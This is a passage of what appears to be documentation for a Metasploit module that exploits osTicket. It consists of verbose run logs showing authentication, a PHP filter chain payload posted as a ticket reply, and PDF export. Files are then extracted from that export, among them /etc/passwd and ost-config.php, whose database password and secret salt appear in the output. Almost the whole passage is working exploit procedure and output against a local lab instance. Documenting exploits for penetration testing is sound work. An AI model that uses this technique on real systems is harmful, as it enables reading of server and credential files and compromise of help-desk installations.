+[+] Saved to: /home/tintin/.msf4/loot/20260222194304_default_127.0.0.1_osticket.etc_pas_543896.bin
+
+[+] Exploitation complete
+[*] Running module against ::1
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] is_osticket?: Response code=200, body length=4943
+[*] is_osticket?: osTicket signature FOUND in response body
+[!] The service is running, but could not be validated. Target appears to be an osTicket installation
+[*] Target: ::1:8080
+[*] File to extract: /etc/passwd
+[*] Attempting authentication...
+[*] do_login: portal preference=auto, base_uri=/, username=test
+[*] do_login: Trying staff panel (/scp/) login...
+[*] osticket_login_scp: GET /scp/login.php
+[*] osticket_login_scp: GET response code=200, cookies=OSTSESSID=s0ksargvidhkv41th0url3m1ua;
+[*] extract_csrf_token: Searching HTML (6504 bytes) for __CSRFToken__
+[+] extract_csrf_token: Found token=e1a5096cc2f00526a4606567f866ad8fdcf67d22
+[*] osticket_login_scp: POST /scp/login.php with userid=test
+[*] osticket_login_scp: POST response code=200, url=, body contains userid=true
+[-] osticket_login_scp: Login FAILED (still see login form)
+[*] do_login: Staff panel login failed
+[*] do_login: Trying client portal login...
+[*] osticket_login_client: GET /login.php
+[*] osticket_login_client: GET response code=200, cookies=OSTSESSID=1ldkhkadfl2rqur16lnf4ru5od;
+[*] extract_csrf_token: Searching HTML (5213 bytes) for __CSRFToken__
+[+] extract_csrf_token: Found token=aa3f025a7693418fa66d8691f39bc60d28ed0791
+[*] osticket_login_client: POST /login.php with luser=test
+[*] osticket_login_client: POST response code=302, body contains luser=false
+[+] osticket_login_client: Login SUCCESS
+[+] do_login: Client portal login succeeded, cookies=OSTSESSID=1ldkhkadfl2rqur16lnf4ru5od;
+[+] Authenticated via client portal
+[*] Locating ticket...
+[*] find_ticket_id: GET /tickets.php (looking for ticket #527686)
+[*] find_ticket_id: Using cookies=OSTSESSID=1ldkhkadfl2rqur16lnf4ru5od;
+[*] find_ticket_id: Ticket listing response code=200, body=6856 bytes
+[*] find_ticket_id: Body Length:
+6856
+[+] find_ticket_id: Found ticket ID=2 from listing page
+[+] Ticket #527686 has internal ID: 2
+[*] Generating PHP filter chain payload...
+[*] Payload generated (13646 bytes)
+[*] Submitting payload as ticket reply...
+[*] submit_ticket_reply: GET /tickets.php?id=2 to fetch CSRF token
+[*] submit_ticket_reply: GET response code=200, body=23979 bytes
+[*] extract_csrf_token: Searching HTML (23979 bytes) for __CSRFToken__
+[+] extract_csrf_token: Found token=917409710733c0ab9c26758c5e4096531ded2441
+[*] submit_ticket_reply: Using textarea field '70211e92acc5d1', payload=13646 bytes
+[*] submit_ticket_reply: POST /tickets.php with a=reply, id=2
+[*] submit_ticket_reply: POST response code=200, body=38488 bytes
+[*] submit_ticket_reply: Success indicators found=true
+[+] Reply posted successfully
+[*] Downloading ticket PDF...
+[*] download_ticket_pdf: Trying PDF export from /tickets.php
+[*] download_ticket_pdf: GET /tickets.php?a=print&id=2
+[*] download_ticket_pdf: Response code=200, Content-Type=application/pdf, magic="%PDF", size=54429
+[+] download_ticket_pdf: Got PDF (54429 bytes)
+[+] PDF downloaded (54429 bytes)
+[*] Extracting file from PDF...
+[*] extract_files_from_pdf: Processing PDF (54429 bytes)
+[*] extract_pdf_image_streams: Found image object (139060 bytes decompressed)
+[*] extract_pdf_image_streams: Found image object (1239 bytes decompressed)
+[*] extract_files_from_pdf: Found 2 image XObject streams
+[*] extract_files_from_pdf: Image #0: 139060 bytes, swapped to BGR
+[*] extract_files_from_pdf: Image #1: 1239 bytes, swapped to BGR
+[*] extract_data_from_bmp_stream: ISO-2022-KR marker found at offset 0 in 1239-byte stream
+[*] extract_data_from_bmp_stream: 1235 bytes after marker (nulls stripped)
+[*] First 96 bytes of data after marker and null-strip:
+[*]   ascii: "root:x:0:0:root:/root:/bin/bash.daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin.bin:x:2:2:bin:/b"
+[*]   hex:   72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f 6e 3a 2f 75 73 72 2f 73 62 69 6e 3a 2f 75 73 72 2f 73 62 69 6e 2f 6e 6f 6c 6f 67 69 6e 0a 62 69 6e 3a 78 3a 32 3a 32 3a 62 69 6e 3a 2f 62
+[*] Data looks like base64? false
+[*] Treating as plain (non-base64) - preview:
+[*]   ascii: "root:x:0:0:root:/root:/bin/bash.daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin.bin:x:2:2:bin:/b"
+[*]   hex:   72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f 6e 3a 2f 75 73 72 2f 73 62 69 6e 3a 2f 75 73 72 2f 73 62 69 6e 2f 6e 6f 6c 6f 67 69 6e 0a 62 69 6e 3a 78 3a 32 3a 32 3a 62 69 6e 3a 2f 62
+[+] extract_files_from_pdf: Image #1 yielded 1235 bytes of extracted data
+[*] extract_files_from_pdf: Fallback - scanning 12 raw streams
+[*] extract_files_from_pdf: Total extracted files: 1
+[+] Extracted 1235 bytes
+
+======================================================================
+EXTRACTED FILE CONTENTS
+======================================================================
+
+--- [/etc/passwd] (1235 bytes) ---
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
+systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
+systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
+messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
+systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
+mysql:
+[+] Saved to: /home/tintin/.msf4/loot/20260222194305_default_1_osticket.etc_pas_161216.bin
+
+[+] Exploitation complete
+[*] Auxiliary module execution completed
+```
+
+
+### With Administrator user 
+```
+msf auxiliary(gather/osticket_arbitrary_file_read) > set USERNAME administrator
+USERNAME => administrator
+msf auxiliary(gather/osticket_arbitrary_file_read) > set TICKET_NUMBER 527686
+TICKET_NUMBER => 527686
+msf auxiliary(gather/osticket_arbitrary_file_read) > set VERBOSE true
+VERBOSE => true
+msf auxiliary(gather/osticket_arbitrary_file_read) > set RHOSTS http://localhost:8080/
+RHOSTS => http://localhost:8080/
+msf auxiliary(gather/osticket_arbitrary_file_read) > set PASSWORD administrator
+PASSWORD => administrator
+msf auxiliary(gather/osticket_arbitrary_file_read) > run
+[*] Running module against 127.0.0.1
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] is_osticket?: Response code=200, body length=4943
+[*] is_osticket?: osTicket signature FOUND in response body
+[!] The service is running, but could not be validated. Target appears to be an osTicket installation
+[*] Target: 127.0.0.1:8080
+[*] File to extract: /etc/passwd
+[*] Attempting authentication...
+[*] do_login: portal preference=auto, base_uri=/, username=administrator
+[*] do_login: Trying staff panel (/scp/) login...
+[*] osticket_login_scp: GET /scp/login.php
+[*] osticket_login_scp: GET response code=200, cookies=OSTSESSID=1in45o31u3itsmsr3u5848gr83;
+[*] extract_csrf_token: Searching HTML (6504 bytes) for __CSRFToken__
+[+] extract_csrf_token: Found token=f467a6da2cdee133ab691be6cc479ad9909824b0
+[*] osticket_login_scp: POST /scp/login.php with userid=administrator
+[*] osticket_login_scp: POST response code=302, url=index.php, body contains userid=false
+[+] osticket_login_scp: Login SUCCESS
+[+] do_login: SCP login succeeded, cookies=OSTSESSID=1in45o31u3itsmsr3u5848gr83;
+[+] Authenticated via scp portal
+[*] Locating ticket...
+[*] find_ticket_id: GET /scp/tickets.php (looking for ticket #527686)
+[*] find_ticket_id: Using cookies=OSTSESSID=1in45o31u3itsmsr3u5848gr83;
+[*] find_ticket_id: Ticket listing response code=200, body=23649 bytes
+[*] find_ticket_id: Body Length:
+23649
+[+] find_ticket_id: Found ticket ID=1 from listing page
+[+] Ticket #527686 has internal ID: 1
+[*] Generating PHP filter chain payload...
+[*] Payload generated (13646 bytes)
+[*] Submitting payload as ticket reply...
+[*] acquire_lock_code: POST /scp/ajax.php/lock/ticket/1
+[+] acquire_lock_code: Got lock code from JSON response
+[*] submit_ticket_reply: GET /scp/tickets.php?id=1 to fetch CSRF token
+[*] submit_ticket_reply: GET response code=200, body=57517 bytes
+[*] extract_csrf_token: Searching HTML (57517 bytes) for __CSRFToken__
+[+] extract_csrf_token: Found token=f467a6da2cdee133ab691be6cc479ad9909824b0
+[*] submit_ticket_reply: Using textarea field 'response', payload=13646 bytes
+[*] submit_ticket_reply: POST /scp/tickets.php with a=reply, id=1
+[*] submit_ticket_reply: POST response code=302, body=13 bytes
+[+] submit_ticket_reply: Got 302 redirect - reply accepted
+[+] Reply posted successfully
+[*] Downloading ticket PDF...
+[*] download_ticket_pdf: Trying PDF export from /scp/tickets.php
+[*] download_ticket_pdf: GET /scp/tickets.php?a=print&id=1
+[*] download_ticket_pdf: Response code=200, Content-Type=application/pdf, magic="%PDF", size=71895
+[+] download_ticket_pdf: Got PDF (71895 bytes)
+[+] PDF downloaded (71895 bytes)
+[*] Extracting file from PDF...
+[*] extract_files_from_pdf: Processing PDF (71895 bytes)
+[*] extract_pdf_image_streams: Found image object (139060 bytes decompressed)
+[*] extract_pdf_image_streams: Found image object (1239 bytes decompressed)
+[*] extract_files_from_pdf: Found 2 image XObject streams
+[*] extract_files_from_pdf: Image #0: 139060 bytes, swapped to BGR
+[*] extract_files_from_pdf: Image #1: 1239 bytes, swapped to BGR
+[*] extract_data_from_bmp_stream: ISO-2022-KR marker found at offset 0 in 1239-byte stream
+[*] extract_data_from_bmp_stream: 1235 bytes after marker (nulls stripped)
+[*] First 96 bytes of data after marker and null-strip:
+[*]   ascii: "root:x:0:0:root:/root:/bin/bash.daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin.bin:x:2:2:bin:/b"
+[*]   hex:   72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f 6e 3a 2f 75 73 72 2f 73 62 69 6e 3a 2f 75 73 72 2f 73 62 69 6e 2f 6e 6f 6c 6f 67 69 6e 0a 62 69 6e 3a 78 3a 32 3a 32 3a 62 69 6e 3a 2f 62
+[*] Data looks like base64? false
+[*] Treating as plain (non-base64) - preview:
+[*]   ascii: "root:x:0:0:root:/root:/bin/bash.daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin.bin:x:2:2:bin:/b"
+[*]   hex:   72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f 6e 3a 2f 75 73 72 2f 73 62 69 6e 3a 2f 75 73 72 2f 73 62 69 6e 2f 6e 6f 6c 6f 67 69 6e 0a 62 69 6e 3a 78 3a 32 3a 32 3a 62 69 6e 3a 2f 62
+[+] extract_files_from_pdf: Image #1 yielded 1235 bytes of extracted data
+[*] extract_files_from_pdf: Fallback - scanning 16 raw streams
+[*] extract_files_from_pdf: Total extracted files: 1
+[+] Extracted 1235 bytes
+
+======================================================================
+EXTRACTED FILE CONTENTS
+======================================================================
+
+--- [/etc/passwd] (1235 bytes) ---
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
+systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
+systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
+messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
+systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
+mysql:
+[+] Saved to: /home/tintin/.msf4/loot/20260222194158_default_127.0.0.1_osticket.etc_pas_205832.bin
+
+[+] Exploitation complete
+[*] Running module against ::1
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] is_osticket?: Response code=200, body length=4943
+[*] is_osticket?: osTicket signature FOUND in response body
+[!] The service is running, but could not be validated. Target appears to be an osTicket installation
+[*] Target: ::1:8080
+[*] File to extract: /etc/passwd
+[*] Attempting authentication...
+[*] do_login: portal preference=auto, base_uri=/, username=administrator
+[*] do_login: Trying staff panel (/scp/) login...
+[*] osticket_login_scp: GET /scp/login.php
+[*] osticket_login_scp: GET response code=200, cookies=OSTSESSID=qqa1df1k3ajku81n4vbkloeibq;
+[*] extract_csrf_token: Searching HTML (6504 bytes) for __CSRFToken__
+[+] extract_csrf_token: Found token=1ddff80315e6dcc127eb115ccf65e4307c1225aa
+[*] osticket_login_scp: POST /scp/login.php with userid=administrator
+[*] osticket_login_scp: POST response code=302, url=index.php, body contains userid=false
+[+] osticket_login_scp: Login SUCCESS
+[+] do_login: SCP login succeeded, cookies=OSTSESSID=qqa1df1k3ajku81n4vbkloeibq;
+[+] Authenticated via scp portal
+[*] Locating ticket...
+[*] find_ticket_id: GET /scp/tickets.php (looking for ticket #527686)
+[*] find_ticket_id: Using cookies=OSTSESSID=qqa1df1k3ajku81n4vbkloeibq;
+[*] find_ticket_id: Ticket listing response code=200, body=23647 bytes
+[*] find_ticket_id: Body Length:
+23647
+[+] find_ticket_id: Found ticket ID=1 from listing page
+[+] Ticket #527686 has internal ID: 1
+[*] Generating PHP filter chain payload...
+[*] Payload generated (13646 bytes)
+[*] Submitting payload as ticket reply...
+[*] acquire_lock_code: POST /scp/ajax.php/lock/ticket/1
+[+] acquire_lock_code: Got lock code from JSON response
+[*] submit_ticket_reply: GET /scp/tickets.php?id=1 to fetch CSRF token
+[*] submit_ticket_reply: GET response code=200, body=73937 bytes
+[*] extract_csrf_token: Searching HTML (73937 bytes) for __CSRFToken__
+[+] extract_csrf_token: Found token=1ddff80315e6dcc127eb115ccf65e4307c1225aa
+[*] submit_ticket_reply: Using textarea field 'response', payload=13646 bytes
+[*] submit_ticket_reply: POST /scp/tickets.php with a=reply, id=1
+[*] submit_ticket_reply: POST response code=302, body=13 bytes
+[+] submit_ticket_reply: Got 302 redirect - reply accepted
+[+] Reply posted successfully
+[*] Downloading ticket PDF...
+[*] download_ticket_pdf: Trying PDF export from /scp/tickets.php
+[*] download_ticket_pdf: GET /scp/tickets.php?a=print&id=1
+[*] download_ticket_pdf: Response code=200, Content-Type=application/pdf, magic="%PDF", size=72070
+[+] download_ticket_pdf: Got PDF (72070 bytes)
+[+] PDF downloaded (72070 bytes)
+[*] Extracting file from PDF...
+[*] extract_files_from_pdf: Processing PDF (72070 bytes)
+[*] extract_pdf_image_streams: Found image object (139060 bytes decompressed)
+[*] extract_pdf_image_streams: Found image object (1239 bytes decompressed)
+[*] extract_files_from_pdf: Found 2 image XObject streams
+[*] extract_files_from_pdf: Image #0: 139060 bytes, swapped to BGR
+[*] extract_files_from_pdf: Image #1: 1239 bytes, swapped to BGR
+[*] extract_data_from_bmp_stream: ISO-2022-KR marker found at offset 0 in 1239-byte stream
+[*] extract_data_from_bmp_stream: 1235 bytes after marker (nulls stripped)
+[*] First 96 bytes of data after marker and null-strip:
+[*]   ascii: "root:x:0:0:root:/root:/bin/bash.daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin.bin:x:2:2:bin:/b"
+[*]   hex:   72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f 6e 3a 2f 75 73 72 2f 73 62 69 6e 3a 2f 75 73 72 2f 73 62 69 6e 2f 6e 6f 6c 6f 67 69 6e 0a 62 69 6e 3a 78 3a 32 3a 32 3a 62 69 6e 3a 2f 62
+[*] Data looks like base64? false
+[*] Treating as plain (non-base64) - preview:
+[*]   ascii: "root:x:0:0:root:/root:/bin/bash.daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin.bin:x:2:2:bin:/b"
+[*]   hex:   72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f 6e 3a 2f 75 73 72 2f 73 62 69 6e 3a 2f 75 73 72 2f 73 62 69 6e 2f 6e 6f 6c 6f 67 69 6e 0a 62 69 6e 3a 78 3a 32 3a 32 3a 62 69 6e 3a 2f 62
+[+] extract_files_from_pdf: Image #1 yielded 1235 bytes of extracted data
+[*] extract_files_from_pdf: Fallback - scanning 16 raw streams
+[*] extract_files_from_pdf: Total extracted files: 1
+[+] Extracted 1235 bytes
+
+======================================================================
+EXTRACTED FILE CONTENTS
+======================================================================
+
+--- [/etc/passwd] (1235 bytes) ---
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
+systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
+systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
+messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
+systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
+mysql:
+[+] Saved to: /home/tintin/.msf4/loot/20260222194159_default_1_osticket.etc_pas_624998.bin
+
+[+] Exploitation complete
+[*] Auxiliary module execution completed
+```
+
+### Without Specifying Ticket Number
+
+```
+msf auxiliary(gather/osticket_arbitrary_file_read) > set USERNAME newuser
+USERNAME => newuser
+msf auxiliary(gather/osticket_arbitrary_file_read) > set VERBOSE true
+VERBOSE => true
+msf auxiliary(gather/osticket_arbitrary_file_read) > set RHOSTS http://localhost:8080/
+RHOSTS => http://localhost:8080/
+msf auxiliary(gather/osticket_arbitrary_file_read) > set PASSWORD newuser
+PASSWORD => newuser
+msf auxiliary(gather/osticket_arbitrary_file_read) > run
+[*] Running module against 127.0.0.1
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] is_osticket?: Response code=200, body length=4943
+[*] is_osticket?: osTicket signature FOUND in response body
+[!] The service is running, but could not be validated. Target appears to be an osTicket installation
+[*] Target: 127.0.0.1:8080
+[*] File to extract: include/ost-config.php
+[*] Attempting authentication...
+[*] do_login: portal preference=auto, base_uri=/, username=newuser
+[*] do_login: Trying staff panel (/scp/) login...
+[*] osticket_login_scp: GET /scp/login.php
+[*] osticket_login_scp: GET response code=200, cookies=OSTSESSID=uf493kdg73eh3bf11pmcv6ed54;
+[*] extract_csrf_token: Searching HTML (6504 bytes) for __CSRFToken__
+[+] extract_csrf_token: Found token=0e9e898a719233e0a4ecec120cd047d0cd9507ee
+[*] osticket_login_scp: POST /scp/login.php with userid=newuser
+[*] osticket_login_scp: POST response code=200, url=, body contains userid=true
+[-] osticket_login_scp: Login FAILED (still see login form)
+[*] do_login: Staff panel login failed
+[*] do_login: Trying client portal login...
+[*] osticket_login_client: GET /login.php
+[*] osticket_login_client: GET response code=200, cookies=OSTSESSID=6cei75oh450nmtfni8a5tqps2o;
+[*] extract_csrf_token: Searching HTML (5213 bytes) for __CSRFToken__
+[+] extract_csrf_token: Found token=dba0292e34ca0ff8fc036933d4d6db2a2eb791df
+[*] osticket_login_client: POST /login.php with luser=newuser
+[*] osticket_login_client: POST response code=302, body contains luser=false
+[+] osticket_login_client: Login SUCCESS
+[+] do_login: Client portal login succeeded, cookies=OSTSESSID=6cei75oh450nmtfni8a5tqps2o;
+[+] Authenticated via client portal
+[!] No TICKET_NUMBER supplied — a new ticket will be created each time this module runs
+[*] create_ticket: GET /open.php
+[*] extract_csrf_token: Searching HTML (6579 bytes) for __CSRFToken__
+[+] extract_csrf_token: Found token=7cc418ea2a3fff84b6593ad2928a7e7c66e4745d
+[*] detect_open_form_fields: topicId=2
+[*] fetch_topic_form_fields: GET /ajax.php/form/help-topic/2
+[*] fetch_topic_form_fields: subject="eac457d4f21b58", message="56f3da3b9db7ae"
+[*] create_ticket: POST /open.php (topicId=2)
+[*] create_ticket: POST response code=302
+[+] create_ticket: Ticket created, internal ID=12
+[*] fetch_ticket_number: GET /tickets.php?id=12
+[+] fetch_ticket_number: Ticket number=#169169
+[+] Created ticket #169169 (internal ID: 12)
+[*] Generating PHP filter chain payload...
+[*] Payload generated (13656 bytes)
+[*] Submitting payload as ticket reply...
+[*] submit_ticket_reply: GET /tickets.php?id=12 to fetch CSRF token
+[*] submit_ticket_reply: GET response code=200, body=9618 bytes
+[*] extract_csrf_token: Searching HTML (9618 bytes) for __CSRFToken__
+[+] extract_csrf_token: Found token=7cc418ea2a3fff84b6593ad2928a7e7c66e4745d
+[*] submit_ticket_reply: Using textarea field '56f3da3b9db7ae', payload=13656 bytes
+[*] submit_ticket_reply: POST /tickets.php with a=reply, id=12
+[*] submit_ticket_reply: POST response code=200, body=24137 bytes
+[*] submit_ticket_reply: Success indicators found=true
+[+] Reply posted successfully
+[*] Downloading ticket PDF...
+[*] download_ticket_pdf: Trying PDF export from /tickets.php
+[*] download_ticket_pdf: GET /tickets.php?a=print&id=12
+[*] download_ticket_pdf: Response code=200, Content-Type=application/pdf, magic="%PDF", size=57262
+[+] download_ticket_pdf: Got PDF (57262 bytes)
+[+] PDF downloaded (57262 bytes)
+[*] Extracting file from PDF...
+[*] extract_files_from_pdf: Processing PDF (57262 bytes)
+[*] extract_pdf_image_streams: Found image object (139060 bytes decompressed)
+[*] extract_pdf_image_streams: Found image object (6357 bytes decompressed)
+[*] extract_files_from_pdf: Found 2 image XObject streams
+[*] extract_files_from_pdf: Image #0: 139060 bytes, swapped to BGR
+[*] extract_files_from_pdf: Image #1: 6357 bytes, swapped to BGR
+[*] extract_data_from_bmp_stream: ISO-2022-KR marker found at offset 0 in 6357-byte stream
+[*] extract_data_from_bmp_stream: 6353 bytes after marker (nulls stripped)
+[*] First 96 bytes of data after marker and null-strip:
+[*]   ascii: "<?php./*********************************************************************.    ost-config.php."
+[*]   hex:   3c 3f 70 68 70 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0a 20 20 20 20 6f 73 74 2d 63 6f 6e 66 69 67 2e 70 68 70 0a
+[*] Data looks like base64? false
+[*] Treating as plain (non-base64) - preview:
+[*]   ascii: "<?php./*********************************************************************.    ost-config.php."
+[*]   hex:   3c 3f 70 68 70 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0a 20 20 20 20 6f 73 74 2d 63 6f 6e 66 69 67 2e 70 68 70 0a
+[+] extract_files_from_pdf: Image #1 yielded 6353 bytes of extracted data
+[*] extract_files_from_pdf: Fallback - scanning 12 raw streams
+[*] extract_files_from_pdf: Total extracted files: 1
+[+] Extracted 6353 bytes
+
+======================================================================
+EXTRACTED FILE CONTENTS
+======================================================================
+
+--- [include/ost-config.php] (6353 bytes) ---
+<?php
+/*********************************************************************
+    ost-config.php
+
+    Static osTicket configuration file. Mainly useful for mysql login info.
+    Created during installation process and shouldn't change even on upgrades.
+
+    Peter Rotich <peter@osticket.com>
+    Copyright (c)  2006-2010 osTicket
+    http://www.osticket.com
+
+    Released under the GNU General Public License WITHOUT ANY WARRANTY.
+    See LICENSE.TXT for details.
+
+    vim: expandtab sw=4 ts=4 sts=4:
+    $Id: $
+**********************************************************************/
+
+#Disable direct access.
+if(!strcasecmp(basename($_SERVER['SCRIPT_NAME']),basename(__FILE__)) || !defined('INCLUDE_DIR'))
+    die('kwaheri rafiki!');
+
+#Install flag
+define('OSTINSTALLED',TRUE);
+if(OSTINSTALLED!=TRUE){
+    if(!file_exists(ROOT_DIR.'setup/install.php')) die('Error: Contact system admin.'); //Something is really wrong!
+    //Invoke the installer.
+    header('Location: '.ROOT_PATH.'setup/install.php');
+    exit;
+}
+
+# Encrypt/Decrypt secret key - randomly generated during installation.
+define('SECRET_SALT','ELPqrKK_aF5JLxk9M0uz__EFFP3Jxn0P');
+
+#Default admin email. Used only on db connection issues and related alerts.
+define('ADMIN_EMAIL','administrator@localhost.local');
+
+# Database Options
+# ====================================================
+# Mysql Login info
+#
+define('DBTYPE','mysql');
+#  DBHOST can have comma separated hosts (e.g db1:6033,db2:6033)
+define('DBHOST','localhost');
+define('DBNAME','osticket_db');
+define('DBUSER','osticket_user');
+define('DBPASS','P@ssw0rd123!');
+
+# Database TCP/IP Connect Timeout (default: 3 seconds)
+# Timeout is important when DBHOST has multiple proxies to try
+# define('DBCONNECT_TIMEOUT', 3);
+
+# Table prefix
+define('TABLE_PREFIX','ost_');
+
+#
+# SSL Options
+# ---------------------------------------------------
+# SSL options for MySQL can be enabled by adding a certificate allowed by
+# the database server here. To use SSL, you must have a client certificate
+# signed by a CA (certificate authority). You can easily create this
+# yourself with the EasyRSA suite. Give the public CA certificate, and both
+# the public and private parts of your client certificate below.
+#
+# Once configured, you can ask MySQL to require the certificate for
+# connections:
+#
+# > create user osticket;
+# > grant all on osticket.* to osticket require subject '<subject>';
+#
+# More information (to-be) available in doc/security/hardening.md
+
+# define('DBSSLCA','/path/to/ca.crt');
+# define('DBSSLCERT','/path/to/client.crt');
+# define('DBSSLKEY','/path/to/client.key');
+
+#
+# Mail Options
+# ===================================================
+# Option: MAIL_EOL (default: \n)
+#
+# Some mail setups do not handle emails with \r\n (CRLF) line endings for
+# headers and base64 and quoted-response encoded bodies. This is an error
+# and a violation of the internet mail RFCs. However, because this is also
+# outside the control of both osTicket development and many server
+#
+
+... (truncated)
